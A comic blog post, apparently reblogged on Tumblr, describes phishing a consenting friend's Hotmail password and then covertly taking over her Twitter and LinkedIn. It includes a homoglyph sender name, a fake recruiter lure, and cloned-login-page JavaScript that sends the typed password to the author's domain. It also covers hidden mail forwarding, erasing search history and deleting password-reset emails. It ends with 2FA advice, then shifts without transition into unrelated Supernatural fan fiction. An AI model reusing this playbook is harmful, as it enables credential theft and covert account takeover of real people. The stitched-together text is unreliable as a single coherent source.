This was supposed to be the part where I say "and then I logged into her email 100% stealthily", equip my third consecutive pair of sunglasses, and move on to the next bit. But alas, Diana was only in one leaked password list on haveibeenpwned.com at the time, so there goes that.

Fiiiiiiiiiiine whatever I don't even care I'm not crying, you're crying. Time to do this the old fashioned way. And by "the old fashioned way" I of course mean "the way government hackers do it".

Part 3: Hackinggggg (again)

Social engineering

Alright so we're just going to trick her into telling me her password. Is that cheating? Basically. But absolutely I'm going to do it anyway.

To get into her email, I need to know Diana's email password. Resetting the password won't work (since that would interrupt her life by locking her out of her email). I don't really wanna follow her around, man-in-the-middle attack her phone or laptop when it connects to insecure WiFi and steal her browser session, so that leaves us with: phishing.

You may have heard of "phishing", the process of emailing someone and tricking them into doing something, like giving you their password.

Now, hold up bucko, you're probably thinking of the kind of phish where someone says "good day sir I nigerian prince give you $1 million dollars USD u are royalty 2 me" etc. etc.

Or maybe you're thinking of someone sending an email that says "[heavy breathing] pls clikc on my urls http://click.here.to.get.ripped.in.three.weeks.verylegit.link/6x9M;PjxrY=WrS33n$Hcracked__767windows8+bitcoin.gpg.exe"

But with nothing more than paperclips, chewing gum, a single fidget spinner, and an advanced psychology degree, we can not only steal Diana's password, but do it without Diana realising she's been tricked.

Hand-crafting artisanal phishing emails to sell at the Sunday markets

Let's write down what we want to do:

Get Diana's email password

Don't let her realise that the email is not legit

Hmm I guess there were only two dot points uhh sorry that doesn't seem worth having dot points at all ummmm

So anYwAy the trick to phishing is that you don't want to engage the victim's attention. You want them to interact with your email mindlessly, without thinking it's a big deal. Kinda like how you click through email notifcations from Twitter (or anything that sends you email notifications) without really thinking about the email, because you're thinking about what awaits on the other end.

The other way, rather than distracting the victim, is to misdirect them. You give them something that's way more interesting to pay attention to than your dodgy link. Common examples of this include emails that say "OMG your account has been HACKED, log in here to fix it".

But of course, you log in to a fake website which steals your password.

Wow actually that sounds pretty12 easy13 doesn't it? Let's try that then.

I'll make an email that says "Your Microsoft Account Has Been Hacked And Uh If You Don't Log In Now It Will Get Deleted So Uh Yeah You Better Log In".

Instead of designing my own legit-looking Microsoft email, it's easier to just copy one that Microsoft has already made. I search my hotmail account14 for an automated email from Microsoft.

I use the incredibly cutting edge "Inspect Element" feature of the popular hacking software, Google Chrome, to edit the text of the email but keep the look. As I right click and hover over "Inspect Element", my laptop instantly explodes, I get root access to Microsoft, I'm added 50 times to every NSA watchlist, my text permanently changes to green-on-black, and I'm accepted to DEFCON.

Now it looks like this:

I can't send the email from my email account, because I'm not a total amateur. I use the popular hacking tool The Microsoft Sign Up Screen to make the hotmail account "[email protected]". If you look closely, "account" is spelled wrong. I used "msft" because it wouldn't let me include the word "microsoft".

I try to register an account with first name "Microsoft" and last name "Account Team". The signup form doesn't let me. Blast. Thwarted by Microsoft lackeys. Probably, Microsoft doesn't let you have "Microsoft" in your account name to prevent, uh, exactly what I'm doing. Hmmm. I don't really want to have a typo in the name, like "Micorsoft", since Diana might notice that.

Instead I, a level 8 Wizard, cast a spell to swap the "o" characters in "Microsoft" for a special unicode character (like an emoji but much worse) that looks exactly like an "o". It's not, of course, it's our old friend, the Greek letter "Omicron". Here's the two pals side-by side:

οo

Awww, just look at 'em having a blast. These little guys might look different in the font your device is using, but in the hotmail web UI font they look juuuust right👌.

So now, my account's name isn't "Microsoft", It's "Micr[omicron]s[omicron]ft", according to the code that checks whether you have a valid name when you sign up for an account.

I'm sure you're wondering how this whole process ends up with me getting Diana's password, laughing manically in my comically giant leather chair. After she clicks the link in my legit looking email, she'll be asked to log in15. The page she goes to will look just like the Hotmail login page, but it will really be a copy that sends the password to me.

How can I make such a page? Well I'll clone the real page, register a domain that looks similar to login.live.com, host my cloned page there, and so on. Juuust kidding, the static website hosting service Aerobatic happens to also be an excellent phishing service.

I can register [anything].aerobatic.io, and deploy my static HTML to that domain with their command line tool for free.

Shout outs to Aerobatic for the smooth smooth phishing UX. Use the referral code DIANA to be immediately reported to the NSA.

I copy the existing login.live.com page, and pre-fill [email protected] in the "email address" field. I deploy this page extremely trivially to login-live.aerobatic.io, and equip my fourth pair of sunglasses (don't worry I've earned it). This almost looks right, but the real Hotmail login form has a bunch of stuff after the / in the URL, so I copy/paste some of that good stuff too16.

Here's the exact URL, if you're interested. Also if you're not interested. It's gonna be there either way.

https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin

Perfect17. This looks similar enough to fool a cursory glance, and that's all we need baybee. Maybe she'll think "why do I have to log in again? I'm already logged in to my email?", but the email asks for a "Secure Login" (whatever that is).

Here's what the login page does:

// When the Login button is clicked or Enter is pressed $('#passwordForm').on('submit', function() { var password = $('#password').val(); // Create an image with a URL that points to my website. // The browser will request this URL in an attempt to load the image (which will fail since that URL doesn't exist) $('body').append('<img src="a-website-i-own.com/DIANA?'%20+%20password%20+%20'" alt="image">'); // Wait one second to simulate loading time (adjust to 0.1s if you don't live in Australia sigh), and then go to the real Hotmail login page. // Diana will already be logged in, so this will seem to her exactly like she's just logged in to hotmail. window.setTimeout(function() { window.location = 'login.live.com' }, 1000); return false; }

This works by sending her password to me when she clicks "log in". The password is sent a website of mine. Then I send her along to the real Hotmail, so it looks just liked she logged in. The website logs everything that gets sent to it, so I can then search my logs for "DIANA" to find the log containing the password.

This is all what I'm hoping for, anyway. The email says she has 48 hours to comply to create time pressure. Telling you that you have to do something right now is a common tactic to make you think instinctively and irrationally.

I login to my fake "Microsoft Account Team" hotmail account, send the email to [email protected] and wait for her to have herself a red-hot browse.

About 12 hours later, I check my logs to see if she's typed her password.

She doesn't.

I wait another 12 hours.

Still nothing.

I send the email again, wincing slightly, this time saying she has 24 hours.

Still nothing.

Well damn

I guess that didn't work. She must have just ignored the email as uninteresting18

I try to think of non-phishing ways to get her password but really phishing is just too good. The nice thing about being the attacker is that you can put your eggs in many baskets. Diana has to defend against all of my eggs, and I've got baskets for days. Time for round 2.

Sniper scope targeted phishing blap blap

I reach under my desk, unwrap a parcel addressed to "DIRECTOR OF CYBER, NSA", slide out a yellow and black canister labelled "CHINA", break open the safety seal, and use safety tongs to extract the following red-hot phish.

This time, instead of using a generic idea that would work on anyone ("suspicious account activity"), we'll make something special just for Diana. Kinda like hand-knitting a beanie, but comparatively less wholesome.

I Google "google docs microsoft equivalent" and come across I dunno SkyDrive or SkyDocs 365 Pro or something or OneDrive look I dunno just look it's Google Docs but Microsoft so good enough for me.

I make a convincing looking resume (in Google Docs, of course) and copy it into a OneSkyCloudDrive 364/2 Days: Final Remix HD+ Doc.

Let's play: who's gonna send this doc to Diana?

I find a local company that's likely to legitimately want to talk to Diana, and search for a recruiter who works there on LinkedIn. I make someone with the same first name, but a different last name as a real recruiter from this company19.

I make a fake gmail account called Kathleen Wheeler, using a stock photo of a middle-aged western woman as the profile photo.

Here's what Kathleen is going to email Diana.

Looks legit riiiight?

The questions at the end are just some garbage I made up, but the point of them is to distract Diana right after she reads the "click here".

I put Diana's real phone number at the end to make it more convincing. This email is obviously meant just for her. It also makes sense for the phone number to be there, since presumably whoever listed Diana as a referee gave the phone number to Kathleen.

At the time she types her password, we want Diana to be thinking of what's on the other side of the login screen.

The delicious bait here is that this email says "someone said they know you", and you have to read the resume to find out who. Aw, but the resume is behind a pesky link. ~Guess you better just click on it~. LinkedIn also does this in their, um, "engagement" emails which say things like "you have 2 new messages", but not who they're from or what they say.

When Diana clicks on the link to the "resume", it will take her to the same fake login page (with her email pre-filled) as before. When she types anything in the password box, the site will wait one second and then send her to the Microsoft Google Doc™. The one-second wait is to simulate Australian internet speeds HAHAHAHAhahahahahah this sucks

She'll find that she doesn't know the person, probably because they're completely made up. They have work experience at real workplaces nearby, and went to the same university as Diana at around the same time, so hopefully their resume passes a cursory glance20.

Finding an unfamiliar resume is a sufficient, but not particularly satisfying conclusion to the adventure of the weird email from Kathleen. But of course, by then it's too late, I'm sitting in my ivory tower surrounded by passwords.

I make sure to send it during business hours, from "Kathleen""", pull a necklace from under my shirt dramatically, kiss it, look up at the sky, and wait.

Waiting

That night, I check my website's logs for any passwords from my fake Hotmail login form.

- - [[date]:16:32:30 +1000] "GET /DIANA?qwerty1 HTTP/1.1" 404 4702 "https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=http...." "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"

"Got it!"

..... is what I think, at first.

Particularly keen readers will have noticed that the password Diana has typed into my fake Hotmail login page is... the same password as we found for her in the Tumblr database.

This is not her Hotmail password, and everything is terrible.

From this we can draw two conclusions:

Diana doesn't know what her Hotmail password is

She now thinks her hotmail password is qwerty1, since she typed it into my fake login page which accepts any password, and it worked

I almost gave up at this point, but a last-minute burst of desperation/frustration/final destination helped me work up the courage to have another shot here in Act 3.

By this point my fake Microsoft Account Team email account has been soft-banned by the good people at William Gates Inc. for sending so many obvious phishing emails. I have to prove I'm a human and add my phone number to the account, and then it unlocks and I can edit the Microsoft Google Doc.

I hastily make a new fake resume of significantly lower quality than the first one, and make a crucial change to my fake login page.

My fake login page now says "wrong password" no matter what you type in the first two times you try typing something. If you type qwerty1, then the password counter doesn't go up21.

What do people do when they get a "wrong password" error? Try all of the 3 or 4 passwords they use for everything, of course.

I want to try and get Diana to type qwerty1, get a "wrong password" error, and then just unload all her passwords into my form.

Diana replied to my failed email with "sorry I don't know this person", and so Kathleen replies with, "wrong resume lol, here's the new one" even though this makes zero sense in the context of our email exchange. I'm hoping Diana will just be busily checking the email on her phone and not really notice this discrepancy.

I use a different font from the "form" when typing as Kathleen to make it look like this is a form that gets copy/pasted to every candidate. This makes Kathleen seem like she does this all the time in her big bustling, 100% real office. I also do my best to imitate the tone of a polite but stressed out office worker. You can almost hear the office politics. It's called method acting.

Time to stressfully wait for Diana to check for her email again, so now would be a good time to read out some donations.

Hours later

It works.

108.162.249.169 - - [12/May/2017:13:39:43 +1000] "GET /DIANA?wertyu2 HTTP/1.1" 404 4702 "https://docs-login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"

I get only one password from Diana (typed multiple times), but it's different to the last one I got (qwerty1)22.

I wait until she's asleep based on her Facebook Messenger last active time and log into her email using the elite hacking method of typing her password into the box.

The reason I waited until she was asleep was in case Hotmail emailed the account saying "New Sign In". It doesn't, and I'm rewarded with her email inbox screen in its full glory.

Angels sing softly above me. A small yellow bird lands on my shoulder and begins to chirp softly. I get several emails from the bullies in high school - they're really sorry and they've done a lot of soul searching and they want to make it up to me and I should expect premium fruit baskets on my doorstep in the coming months. Global warming halts.

"But that would never work on me"

It would tho.

Perhaps some of you in the audience are thinking "Wow, this Diana person must be pretty dumb to fall for that. Good thing I'm a web browsing prodigy with a colossal brain and many opinions, so that would never happen to me."

The thing is, right now you're very alert, because you're reading a blog post about hacking. If you were just reading your email, half-paying-attention on a train as normal, security wouldn't likely be on your mind. If sending trick emails is good enough for whoever the NSA, are emailing, then it's probably good enough to work on you and me.

I guess what I'm saying here is "don't go shaming phishing victims plz".

Anyway sorry back to haͅck͐i̥n̏g̜

Part 4: HACKER VOICE I'M IN

I immediately try Diana's email password (wertyu2) on her Facebook, Twitter, LinkedIn, iCloud, and on her other email addresses. None of them work because I've chosen someone with slightly above average personal security to target.

The obvious next step is to forward all her email to me (so I don't have to keep logging in to her email). Before I set up email forwarding, I try it out on a hotmail account I control. I'm testing to see if setting up "forward all your email to this address" sets off any notifications I'll have to delete, or notifies you in any other way.

In gmail, when you forward all your mail to another email address, the other address gets emailed a code, and also a big red bar appears on your gmail inbox saying "you're sending literally all of your email to this address FYI" for 7 days.

I type in my email address into my test hotmail account, and click "forward all my mail here pls". It saves. I check both email inboxes for a notification email. There isn't one. I've just backdoored this email account and no fuss has been made whatsoever. OH well at least hotmail has NoMansSkyDrive 2.8 Remastered XL Online or whatever.

An interlude from Diana

Diana replies to my email saying she doesn't know this person either. She's a little suspicious, so I try and say something that will close the conversation.

Diana doesn't reply.

Hey remember how you can search email?

Now that I have Diana's email password, I want to search her email for more passwords, and use those passwords to get more, and so on, like a REAL hacker.

Try going to your email and searching for "password". Betcha there's passwords in there.

In Hotmail, when you go to search something, the last 5 searches you've done pop up as suggestions.

This means that if I search for "password", Diana will notice "password" in the search history. That would be a really lame way to get caught.

To get around this, I: * Wait until Diana is asleep * Write down her last 5 searches * Search for "password" * Look at the results * Search for her last 5 searches again, in reverse order

Since only the last 5 searches are shown, by repeating the searches in reverse order, the search history looks exactly the same.

Much to the disappointment of the live studio audience, I don't find anything particularly useful. I find the two passwords I already know (qwerty1 and wertyu2) several times, and one other password which I again try on all her accounts, but doesn't work </3.

I hang out in Diana's email for several months. Every so often I check it. I find her signing a contract for a job, and so I get her passport number, signature, phone number, bank account number, and basically everything I'd need to impersonate her. I don't really232425 want to impersonate someone's government-issued ID, so I leave this alone.

At one stage, I'm browsing through hit political discourse platform and opinion conveyor belt twitter dot com, and I notice Diana tweet something along the lines of "Finally spent my day off consolidating my 4 email accounts into 1, feels good to be organised".

I panic a little. Have I been found out? I log in to [email protected] (which still works, thankfully) and see that all her emails have been archived. I poke around in the email forwarding settings, and I see that things have changed. Her email is no longer being sent to my email address, it's being sent to [email protected] (presumably the new email that Diana now forwards all her mail to).

This raises an important question. How did Diana not notice my email address in the "forward all mail to:" box? Did she see it, and just mindlessly delete it?

(When I interview her after all this, she says yes, that's exactly what she did.)

What now?

Normally it would end here. Mission accomplished. I'm in control of her email. I could cause catastrophic damage to Diana's life if I wanted to (I don't btw). There's potential for endless gags, limitless goofs, unlimited japes, infinte jests, etc.

But.. it seems like an awful shame to just... leave. That's why I start work on a little' somethin' called

Operation Luigi

Everybody just LOVES Mario's green friend Luigi! He's a Certified Good Boy! Just look at that boyish charm.

Why not brighten up YOUR social media presence with this game boy?

Well gee I'm sold after that delightful interlude from our sponsor, The Nintendo. Let's get Diana some uncut, Colombian Luigi.

Step 1: Get in to her Twitter and LinkedIn

So, I want to:

Get access to Diana's Twitter

Not lock Diana out

Not alert Diana that I'm up in her stuff

I could just phish her again for these passwords, but I'm already a salty old fisherman by this point.

Since I have access to her email, I could reset her Twitter password. The problem is, when you reset your Twitter password, you get logged out of Twitter in Chrome, the Twitter app, and anywhere else you might be logged in. So you have to retype your new password. One of my rules was that I wouldn't interrupt Diana's life, so I need her to be able to log back in to Twitter when I force her to log out.

I come up with a simple 8-step plan to do this, with 4 easy repayments of 2 steps.

Wait until Diana is asleep

Disable Diana's email forwarding

Go to Twitter and reset her password

Click the password reset link that gets emailed to her

Set her password to qwerty1

Delete the password reset email

Delete the "New Twitter Sign In" email

Re-enable email forwarding

The combo move in this is setting her password to qwerty1. When I phished her email password, she tried to log in to her email with qwerty1 even though that's not her password. This tells me that she thinks her password for everything is qwerty1, or at least, that's what she'll try if she's not sure. The technical term for this is next-level mindgames💻💻💻.

I do the steps above, and I'm now logged in to Diana's Twitter account. I tigheten up her Twitter security settings because I'm a Good Boy. I HOPE that Diana will be able to log back in as well, and not wonder why she suddenly got logged out. I wait stressfully for her to tweet something, and after a day or so she retweets a cute doggo, so we're good to go.

Now I want to do the same thing on popular dating website LinkedIn. This will involve signing Diana out of LinkedIn on all her devices, and I don't want her to get too suspicious, so I wait a week. I do the same process as with Twitter. This time I don't even wait until Diana is asleep, because I'm young and invincible.

As I'm setting Diana's password on LinkedIn back to qwerty1, LinkedIn doesn't let me.

Is this because qwerty1 was a password present in the LinkedIn hack in 2012? Or because it's just a common password? For a brief moment I panic, but then I realise I can just set Diana's password to her email password, wertyu2.

Astute readers will have noticed this little guy in the screenshot above.

LinkedIn is asking me if I'd like to log out of Diana's LinkedIn account on all devices while I'm resetting the password. That's REAL nice of you to offer old mate LinkedIn but I'm absolutely golden as it is in terms of logouts so don't even worry about it I'll be just fine how it is NO REALLY don't trouble yourself, I'm sure your CPU cycles are busy displaying everyone's 6000 word Thinkpieces about "Cyber" for "Non-technical Business Decision Makers".

Yeah so I submit that form 100% checkbox-free, and Diana remains logged in to LinkedIn on all her devices, none the wiser.

Step 2: Bring in the green boys

I enlist the help of a talented friend to photoshop everyone's #1 boy next door Luigi subtly into Diana's profile picture on Twitter, like a green guardian angel.

I can't show you Diana's pictures, so here's me doing similar photoshops to Your Boy And Mine, Five Time Celebrity MasterChef Winner And The Inventor of Bitcoin, Give It Up For Dr. Barack Obama Everybody:

At about this time I tweet about our sweet green boy so that if Diana sees her guardian angel Luigi, she'll know it was me. This is like my calling card except.... well it's not really like a calling card it's pretty dorky to be honest but just LOOK at that wholesome lad, you just KNOW he'd help you fix a flat tyre, and he'd just be too gosh darn polite to correct you if you said "thanks green mario" so really if you think about it I guess it IS like a calling card.

Next up I log into her LinkedIn account, get overwhelmed by her 15 LinkedIn notifications, 7 new profile views, 11 new Key People To Bother, and several pop ups telling me about new features I can use to invite people to join my professional network on LinkedIn™®©. Then I change her profile picture to my really good version.

For about a week, Diana continues her Twitter and LinkedIn(?) usage whilst being silently Luigi'd. Diana goes on viewing what I can only assume to be the sharpest international political discourse on Twitter, and getting slightly more LinkedIn profile views from observant recruiters who are also fans of the hit 2001 ghostbusting game, Luigi's Mansion.

Well that just about wraps up Operation Luigi. Glad that's all done and dusted.

Although...

I'm basically a Luigi technician at this point, and it would be a shame to let all that work go to waste. So let's just do

~one more thing~

Operation Waluigi: A dark turn for mature audiences

Waluigi, true to his character, is much more direct.

Damn RIGHT this new profile strength is "Advanced."

Please enjoy these half-baked opsec-enabled26 tweets27.

I also make Diana follow a bunch of Waluigi fan accounts (there are a lot), Nintendo of America, and @EmojiAquarium because it's a damn good account.

Part 5: Epilogue

Diana likes her new Waluigi life so much she keeps it all up there, and even changes her Facebook photo to a Waluigi'd one.

I meet up with her and ask her about her side of the story a few days later.

Here are some choice quotes:

"I've since listened to a lot of Waluigi songs" "Waluigi is the ultimate symbol of postmodernism, he exists only as a foil"

I ask her "How do you think I did it?". She says I must have hacked her email and reset her Twitter password, but she has no idea how I hacked her email.

When I show her the email chain with Kathleen on my computer her jaw drops for several seconds.

"You catfished me!"

We go back to the same ramen place after the interview. The credits roll.

"wait but i am very afraid after reading this blog post, how do I not get 360 noscope hacked like diana tho"

Hey kids, it's me, "Alex". We've had a lot of fun today, but now it's time to talk about the real issues. The moral of this story is that it's really easy for someone else to know your password. Fret not, for you are young and extremely online, and it's not too late for you yet.

Step 1: Go to https://haveibeenpwned.com and type in your email address. This doesn't actually do anything, it's just to instill sufficient fear in you.

Step 228: Go to your email and enable "Two-step Authentication". You can go to https://www.google.com.au/landing/2step if you use gmail. If you use Hotmail then I dunno, there's probably like a SkyCloud 360 X LIVE subscription you can buy that lets you do it.

Now, as well as your email password, you also type in a code from an app on your phone. Or you can have the code SMSed to you on your pastel-pink flip phone if you wanna relive the 90s29.

If Diana had Verified Good Content Two-step Authentication turned on, then I would have had to get a two-factor code AND her password. I would have had to either:

Phish the code as well as the password (but the code expires in less than 60 seconds)

Physically go to the same place as her, connect to the same WiFi, and steal her browser session

Email her a Word Doc with a macro in it that gives me control of her laptop, and steal her browser cookies from it

Call up her phone provider and trick them into pointing her phone number at my SIM card

All of these are more work and higher risk, and so hackers often just move on to lower hanging fruit. That's you in this situation. You're the delicious fruit. And the hackers are.... giraffes? Yeah. Watch out for giraffes.

Freshly baked shoutouts to My Absolute Homeslices for being my blog-review senpais, Diana for being chill, and to the hacking software released at DEFCON 25: Aerobatic dot io

If you want to talk to me about this, hit me up in the tweet zone (@mangopdf) or direct your browser to mango.pdf.zone

A careless mistake ↩︎

Obviously the best way is to not give permission to meeeeeeeee😎 ↩︎

I found her LinkedIn by just googling her name #pwned ↩︎

wait did he just say "hacker voice I'm in"? ↩︎

I haven't realised yet that successfully resetting Diana's iCloud password would lock her out of her account and violate our agreement. This is because I'm a weapons-grade bozo. ↩︎

On haveibeenpwned.com, Diana's email address shows up in a data dump from this website. It's a game of some sort? ↩︎

Later when I interview Diana, she says "I use exclusively Google Docs", so I was right! No comment about the avocado thing. ↩︎

I'm not making these up, these are real words that real hackers use I swear. ↩︎

Diana didn't have LinkedIn in 2012, so she's not in the list. But some of the 20 people who had the same password as her sure did. ↩︎

tag urself lol ↩︎

I also try guessing what her password could be based on the password I already have for her (qwerty1) but it doesn't work. ↩︎

low ↩︎

effort ↩︎

From 2002 do NOT @ me ↩︎

This makes no sense, since she'll be reading her Hotmail, and then asked to log in to the same thing she's already reading, but NON-fake websites have bad enough UX that this is believable. ↩︎

I steal all that good stuff after the URL from the Google sign-in page ;>_> ↩︎

Awkwardly, Hotmail changed its login screen shortly before this blog post came out. It used to look like that I swear. ↩︎

There are a few reasons this email wasn't attention grabbing. It was automated, from a company (not an actual human), and wasn't specifically about her, but about her account. ↩︎

When I interview her later, Diana says she looked up the company! She even says that getting back to Kathleen was on her to-do list, the poor thing. ↩︎

Months later, I notice I've left a "Lorem ipsum dolor sit amet, consectetur adipiscing elit" as a dot point on the resume. ↩︎

This is a genius suggestion from one of my ~hacker connections~. ↩︎

At this point Diana has been completely gaslighted as to what her hotmail password is, because my phishing site said the wrong password was right, and then said the right password was wrong, and she thinks it's the real Hotmail. ↩︎

I mean it WOULD be pretty funny ↩︎

And wow you could do anything, book flights, get a job, change your name... ↩︎

Just letting any Government Agents reading this know that I did NOT end up doing anything with this and I love democracy. ↩︎

If you really tried you could probably find Diana's Twitter from these. You would then be a hacking genius, binary flowing through your veins, and have a CVE number assigned to your personally. I, a humble wannabee, am relying on your strict ethics to prevent you from, uh, stalking the friend of some guy whose blog post you read. You can do it. I believe in you. ↩︎

Having said that, I don't really have an overwhelming amount of faith in the idea that someone won't try to do that. You can stay chilled out, dear reader, since before this blog was published Diana and I had a nice chat and fixed up her personal security. ↩︎

Password managers like LastPass are also good for giving you unique passwords, but I reckon 2FA is the best effort:security ratio value For Normal People Tee Em. ↩︎

But, this is less secure, since your phone number can still be hijacked. ↩︎

#luigi waluigi

386 notes · View notes

yesalleykat · 5 years ago

Text

A “Dream” Ending

I had a dream about the ending of Supernatural the other night and I cannot get it out of my head.

It turns out that “Chuck” as he is now is not the real Chuck that we met previously. Instead he is the third sibling to the real Chuck and Amara who has stolen Chuck’s form and imprisoned Chuck’s true essence in a primordial jar (think in terms of what Ursula did to her victims in the Little Mermaid). Basically, this third sibling is the complete loser of the family and he is jealous of what Chuck created and wants to destroy it all, one piece at a time. So, he has taken over and disguised himself as Chuck, has created all this chaos. Amara has known this but has no idea what’s been going on because the fake Chuck’s attention has been completely focused on the Winchesters so there has been no colossal event that would have gotten Amara’s attention to tell her that her other brother is up to no good or that Chuck is imprisoned.

So Cas has the Mark of Cain (which is connected to Amara) and that gets her attention and she goes to see him and they basically clue her in on what’s been going on and she puts it all together and goes in search of what really happened to Chuck. She returns with the jar with the pathetic looking disembodied deity floating around inside of it. But there us a new problem now: In order to stop the fake chuck, they must completely destroy him (vaporize to nothing) which she and Jack can do together but that will leave the world without anyone in control and no balance. The real Chuck cannot do anything in his present state and must take on a new form. He needs a vessel—but not just that—he needs a being to become. Basically, he will absorb completely the soul of and become entirely whatever form he inhabits (because the thing in the jar is only made of primordial power and nothing else). Over time he has had several forms—the last being the Chuck they knew who when human was a creative fiction writer with a kind heart and dorky sense of humor. This time, because the deity is starting from scratch (as opposed to merely jumping forms), and so much wrong has been done in his absence, the new being must be exactly what the world needs from a deity.

So, led by Amara; Dean, Jack, and Castiel all sit around and brainstorm exactly what qualities the new deity needs to have. They must be brave, incredibly smart but also very creative. A peacemaker, a hero, brave, self-sacrificing, loving, compassionate, and forgiving to a fault. This world needs a healer, not a ruler, they decide. And then when the silence lags, Amara looks at Dean and asks, “Who does that sound like to you?” And her eyes flick toward Sam who is just sitting there completely clueless. And Dean basically loses his shit completely. Bangs the table, paces, yells, accuses Amara of declaring war on his family, blah blah blah. Dean says it will never happen. No one else is saying anything. Castiel is sitting, staring at Sam like it’s the first time he’s ever seen him. Jack is sitting very still, processing what he must do as Billie’s plan clicks into place. (Billie, as death, always knew this would be Sam’s ending). Sam is just sitting quietly, staring down at his hands folded on the table. He looks up

“Dean- “

Dean’s eyes flash desperately. “No, Sam! Don’t even say it! We are not doing this! Not this! We’ll find someone else! There’s another way, there always is!” His eyes go to Cas in desperate hope of receiving support but the angel just shakes his head.

“Dean, there is no one else.” He reaches over and covers Sam’s hands with his own “Can you think of a better person than Sam in the world? Can you think of anyone we would be in better hands with?”

Jack raises his eyes. “This is what Billie meant. I’m to end Chuck and another will replace him.”

Dean jabs a finger in his direction. “Yeah! You!”

Jack shakes his head, his eyes sad. “I can’t be God. I have to be…me.”

Dean is shaking, on the verge of losing control and attacking Amara for bringing this to light. Sam stands up slowly, focused entirely on Dean.

“Okay, Dean. We don’t have to decide anything right now. We have some time. I’ll do some research, maybe there is someone else. I mean, there has got to be right? I-I can’t possibly be the best this world has.”

Amara opens her mouth but Castiel gestures for her to be silent.

Hearing Sam’s words, Dean softens, attempts to clarify. “Sammy, I’m not saying you’re not—hell as far as I’m concerned-“

“It’s okay, Dean.” Sam interrupts, approaching Dean and giving him a quick hug that doesn’t allow Dean time to cling. “I’m tired and we have a lot of-research to do starting tomorrow. I’m going to bed.” He gives Amara a very pointed glance as he leaves the room.

True to his word, the next day, Sam dives into research to find someone to host Chuck. The day after that Eileen returns for Sam and Dean can’t help but notice there is a new intensity to their relationship.

Time passes, and there is no further mention of Amara’s plan. One day, Sam announces that he and Eileen are getting married. Dean is suspicious but keeps getting blown off by everybody every time he tries to voice it. Sam and Eileen get married and soon after, she announces that she is pregnant.

A few nights later, Sam sits down with Dean in the kitchen and tells him that he has decided to go through with Amara’s plan. He will host the new deity.

“Sam, I won’t let you do this!” Dean insists. “Even If I have to lock you up in the panic room, so help me, I’m not letting this happen! Don’t you understand, Sammy? It’s not like you’re just being possessed. You won’t exist anymore—anywhere!”

Sam grabs hold of Dean’s arm. “That’s not true! Weren’t you listening? Everything I am, all that I am, will be transferred to Chuck-or-or whoever it’s going to be then. I’ll literally exist everywhere!”

Dean tosses off Sam’s hand, rises and violently throws the beer bottle against the wall where it smashes into tiny shards and leaves a slick trail dripping down the wall. “I won’t have my brother anymore!”

Sam stands too. “That is why Eileen and I decided that the baby was so important.”

Dean turns to face him, eyes flashing with anger and shining with tears. “Screw you!”

He starts to leave but Sam’s voice stops him. “This is the most important thing I’m ever going to do and I can’t do it without you, Dean. Please don’t abandon me now.”

It’s Sam’s last day. Jack is positioned to kill Chuck. Amara comes to them with a syringe of amber colored liquid.

“I have to give him two shots.” She explains. “This one will put him into an irreversible coma. The second one will stop his heart. Once I give him the first shot, he will have twelve hours before he falls under.” She gives Dean a pointed look. “Make it count.”

The boys go for a drive. They find a field- the same one they’ve hung out in countless times over their lives. It’s the field where Sam had his first beer. They sit on the hood of Baby, drink a beer and talk. They say things they’ve never said before, they tell each other everything. Dean listens more intently then ever and commits every part of his brother to permanent memory. Just after sunset, Dean feels drained and lays back against Baby’s windshield. Sam lays back and to Dean’s surprise, rests his head against Dean’s shoulder. Dean leans down and kisses Sam’s forehead. They are both crying.

“Best big brother ever.” Sam whispers. And then they are silent for a long time until Sam says, “It’s time to get back.”

They make it back to the bunker just as Sam is starting to feel woozy. He lasts long enough to say an adequate goodbye to everyone before falling into a coma. Amara shows up the jar containing the disembodied deity and a syringe filled with purple fluid this time. They sit with Sam for a time, waiting for word that Jack has killed Chuck.

“How exactly is this going to work?” Dean asks.

“Once I stop his heart, I will release the deity from the jar. As soon as Sam’s soul is freed from the connection with his body, the deity will take it, along with everything else.” She pauses, pursing her lips as if dreading the next statement. “Sam’s body will completely disappear.”

Dean’s eyes flash. “What do you mean ‘completely disappear?”

Amara sighs. “He’ll be gone, Dean. Completely gone in every way. Like he never existed except through the life of the deity.”

“And our baby.” Eileen adds softly.

Dean’s mouth tightens as he stares down at Sam’s still form. Sitting by his side, he takes hold of his brother’s hand.

Castiel comes rushing in with Jack. “It’s done!”

There is a slight tremor as a world-wide earthquake starts. The beginning of the world falling in on itself.

“Hurry!” Jack urges, eyes glowing, hands balled into tight fists at his sides. “I can’t hold it together for much longer!”

Amara gives Sam the injection as Cas opens the jar containing the deity. Dean, still holding Sam’s hand, gasps and sobs as he feels the life leave his brother. The deity responds immediately to the change, flying into Sam’s slack mouth. Cas grabs Dean and pulls him away just as Sam’s whole body begins glowing. The brightness intensifies until no one can look directly at it anymore. When it stops and they look back, Sam has disappeared.

It’s too much for Dean and he collapses, sobbing helplessly against Cas’ shoulder.

“Hello, brother.”

Amara’s voice makes everyone look up. There is Sam-but not Sam, standing by the door. He is wearing the radiantly bright white suit and a genuinely serene smile. Dean sniffles and wipes his eyes.

“Sammy?” He croaks hoarsely, his voice carried only by a final dying ember of hope.

The deity looks at Dean with such compassion that another sob is torn from Dean’s throat.

“I’m sorry, Dean.” It says softly. “But I along with the whole of heaven and earth thank you for what you have done. Your brother was the best of men and that will make me the best God this world could ask for now.” He steps forward and places a hand Dean’s wet cheek. “A lot of the credit for that goes to you, my friend.” Dean shakes his head helplessly, unable to look away from eyes that are Sam’s and yet, not Sam’s. “You raised him to be who he was. You protected his heart at the cost of your own.” The deity drops his hand and takes a step back. “My first act is something I know that your Sam wanted. I am undoing the rule that souls which have touched hell can never enter heaven.”

